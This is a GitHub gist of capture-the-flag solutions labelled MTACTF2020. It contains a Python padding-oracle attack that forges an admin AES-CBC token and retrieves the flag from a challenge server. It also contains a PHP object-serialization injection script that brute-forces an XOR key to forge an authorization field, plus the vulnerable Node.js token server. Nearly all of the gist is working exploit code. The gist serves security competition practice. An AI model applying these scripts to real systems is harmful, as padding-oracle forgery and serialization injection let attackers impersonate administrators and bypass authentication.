Skip to content

Instantly share code, notes, and snippets.

@asdcxsd
Last active September 2, 2020 13:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save asdcxsd/4ac83abdf98c2921dab876c7e5e99494 to your computer and use it in GitHub Desktop.
Save asdcxsd/4ac83abdf98c2921dab876c7e5e99494 to your computer and use it in GitHub Desktop.
MTACTF2020
import re
import requests
import time
import random
def get_random_string(length):
letters = "".join(chr(i) for i in range(256))
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
url = "http://bu.gbounty.cc:9000"
def gettoken(url):
print "[+] Get token: ",
text = requests.get(url).text
regex = "[a-f0-9]{96}"
token = re.findall(regex, text)[0]
print token
return token
def check(token):
req = requests.get(url + '/flag?token='+ token)
if 'bad decrypt' not in req.text:
if 'JSON.parse' in req.text:
return 1
else:
return 2
else:
return 0
def xor(a, b):
ans = ""
for i in range(len(a)):
ans += chr(ord(a[i])^ord(b[i]))
return ans
def padding_oracle(url, token, block, blocksize):
start_time = time.time()
le = token[:block-blocksize]
re = token[block:]
hv = ""
for vt in range(16):
print '[*] Find: ', vt
print '[-] Time: ', time.time() - start_time , 's'
for i in range(256):
tk = (le + token[block-blocksize:block-vt-1] + chr(i) + xor(hv, chr(vt+1)*vt) + re).encode('hex')
ans = check(tk)
if (ans == 1):
hv = chr(i^(vt+1)) + hv
break
print "[+] Stop padding padding oracle: " , time.time() - start_time, "s"
print "[+] answer: ", hv.encode('hex')
return hv
def main():
token = gettoken(url).decode('hex')
token_po = token[:32] + xor(xor(token[16:32], 'onymous"}' + chr(7)*7) , '"user":"admin"}' + chr(1))
ans_padding = padding_oracle(url, token_po, 32, 16);
while(1):
token_check = token[:32] + xor(ans_padding, get_random_string(14) + '",')+ xor( xor(token[16:32],'onymous"}' + chr(7)*7 ), '"user":"admin"}' + chr(1) ) +token[32:]
ans = check(token_check.encode('hex'))
if ans == 2:
print "[+] Success: ", token_check.encode('hex')
print "[+] Flag: " , requests.get(url + '/flag?token=' + token_check.encode('hex')).text
break
#66d6f1b9008a352c4d44022bb4487ac9050787954232786faebdaace3cbedd5ad032215e03dfd0337f3d80f775398be8481c8d9d5f65316fb2dec0a0559ba75c2be2aee3f3248d13763493bb4e6372fb
if __name__ == '__main__':
main();
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#chi ap dung php7.0
import string
import random
import requests
import base64
import uuid
url = "http://192.168.133.146/CTFMTA/"
total_request = 0
def register(username, password):
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html;',
'Cookie': 'PHPSESSID=6mljc3dpohmnack8o6lgqhl1a3'
}
payload ={}
payload['username'] = username
payload['password'] = password
global total_request
total_request += 1
r = requests.post(url + 'register.php', headers = headers, data=payload)
if u'Đăng ký thành công.' in r.text:
return 1
assert 1== 2
return 0
def login(username, password, enprint = 0):
sessionid = 'PHPSESSID=' + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(26))
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html',
'Cookie': sessionid
}
payload ={}
payload['username'] = username
payload['password'] = password
global total_request
r = requests.post(url + 'login.php', headers = headers, data=payload, allow_redirects=False)
total_request += 1
r = requests.get(url + 'index.php', headers = headers )
total_request += 1
if enprint == 1:
flag = r.text
flag = flag.split('<br>')[1];
vt = flag.find("}")
print "Flag: ", flag[:vt+1]
if u'Xin chào' in r.text:
k = requests.get(url + 'logout.php', headers = headers )
total_request += 1
if (u'Đại vương gọi ta đi tuần núi!' in r.text):
return 2
return 1
assert 1==2
return 0
def exploit(s, enprint = 0):
res = 0
s = base64.b64encode(s)
username = '\\0'*24
password = 'a";s:8:"password";s:1:"a";s:9:"authorize";s:{}:"{}";}};s:1:"a'.format(len(s),s)
while (res == 0):
username_temp = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20)) + username
res = register(username_temp, password)
username = username_temp
if (enprint == 1):
print "[Exploit] username, password: ", username, password
return login(username, password, enprint)
def find_char(ans, sl = 4):
res = 2
while (res != 1 ):
temp = ''.join(chr(random.randint(0, 255)) for _ in range(sl))
res = exploit(ans + temp);
assert res != 0
return temp
#cau truc O user = O:4:"User":3:{s:8:"username";s:3:"aaa";s:8:"password";s:3:"aaa";s:9:"authorize";s:5:"12345";}
#cau truc O userinject
# 'O:4:"User":3:{s:8:"username";s:25:"a";s:8:"password";s:10:"a";s:8:"password";s:1:"a";s:9:"authorize";s:5:"12345";};s:1:"a"};s:9:"authorize";s:5:"12345"}';
##==========================================================================
STRING_OF_KEY = ""
LIB_OF_XOR_BASE64 = [];
LIB_OF_XOR_BASE64_NOT_1 = [];
def super_xor(a, b):
ans = ""
for i in range(len(a)):
ans += chr(ord(a[i]) ^ ord(b[i % len(b)]));
return ans
def generator(size_of_key, string_of_base64, length_brute):
ans = []
for i in range(size_of_key):
ans.append(0);
for j in range(length_brute):
ans[-1]*=2;
if (chr(i^j) in string_of_base64):
ans[-1]+=1;
return ans
def getkey():
SIZE_OF_KEY = 256;
length_brute = 140;
# khong gian khoa cua key
# 128 chi can khong gian 77
# 256 chi can khong gian 133
global STRING_OF_KEY, LIB_OF_XOR_BASE64, LIB_OF_XOR_BASE64_NOT_1
STRING_OF_BASE64 = string.ascii_letters + string.digits + "+/=\x20\x0d\x0a\x09"
LIB_OF_XOR_BASE64 = generator(SIZE_OF_KEY,STRING_OF_BASE64, length_brute)
# tao ra mang hang cac truong hop co the sinh ra khi xor key voi khong quan khoa
STRING_OF_BASE64_NOT_1 = string.ascii_letters + string.digits + "+/\x20\x0d\x0a\x09"
LIB_OF_XOR_BASE64_NOT_1 = generator(SIZE_OF_KEY,STRING_OF_BASE64_NOT_1, length_brute)
STRING_OF_KEY = "".join(chr(i) for i in range(SIZE_OF_KEY))
return length_brute
def bruteforce_key(length_key, length_brute):
global STRING_OF_KEY, LIB_OF_XOR_BASE64, LIB_OF_XOR_BASE64_NOT_1
ans_xor = "";
ans = "";
for i in range(length_key):
print "Find ", i
idnumber = 0;
for ch in STRING_OF_KEY[:length_brute]:
idnumber *= 2;
stringtest = ans_xor + ch
ck = exploit(stringtest)
if ck == 1:
idnumber += 1
#theo version php 7.0
if (i%4 != 1):
ans_char = LIB_OF_XOR_BASE64.index(idnumber)
else:
ans_char = LIB_OF_XOR_BASE64_NOT_1.index(idnumber)
print "OK: ", chr(ans_char).encode('hex'), total_request
ans += chr(ans_char)
ans_xor += chr(ans_char^ord('a'))
print "[KEY] ", ans.encode('hex')
payload = super_xor(base64.b64encode("admin"), ans);
print "[KEY INJECT] " , payload
exploit(payload, 1)
def bypass_xor():
length_brute = getkey()
print "generater ok"
bruteforce_key(8, length_brute);
if __name__ == '__main__':
bypass_xor();
"use strict";
const fs = require("fs");
const crypto = require("crypto");
const http = require("http");
const KEY = fs.readFileSync("key.txt");
const FLAG = fs.readFileSync("flag.txt", "utf8");
function generateToken(username) {
const payload = { time: Date.now(), user: username };
const cipher = crypto.createCipher("AES-192-CBC", KEY);
let token = cipher.update(JSON.stringify(payload), "binary", "hex");
token += cipher.final("hex");
return token;
}
function validateToken(token, username) {
if (!token) {
throw new Error("no token provided");
}
const decipher = crypto.createDecipher("AES-192-CBC", KEY);
let plaintext = decipher.update(token, "hex", "binary");
plaintext += decipher.final("binary");
const payload = JSON.parse(plaintext);
if (Date.now() - payload.time > 1000 * 60 * 60 * 24 * 30) {
throw new Error("token > 30 days old");
}
if (payload.user !== username) {
throw new Error("wrong user");
}
}
http
.createServer((req, res) => {
var URL = require('url').URL;
const url = new URL(req.url, "https://localhost:9000");
try {
switch (url.pathname) {
case "/":
res.writeHead(200, { "Content-Type": "text/plain" });
res.end(
`Welcome, anonymous. Your token is ${generateToken("anonymous")}.\nProvide your token on /flag?token=<token> to get flag!`
);
break;
case "/flag":
validateToken(url.searchParams.get("token"), "admin");
res.writeHead(200, { "Content-Type": "text/plain" });
res.end(FLAG);
break;
default:
res.writeHead(404, { "Content-Type": "text/plain" });
res.end("Not found");
}
} catch (err) {
res.writeHead(500, { "Content-Type": "text/plain" });
res.end(err.stack);
}
})
.listen(9000);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment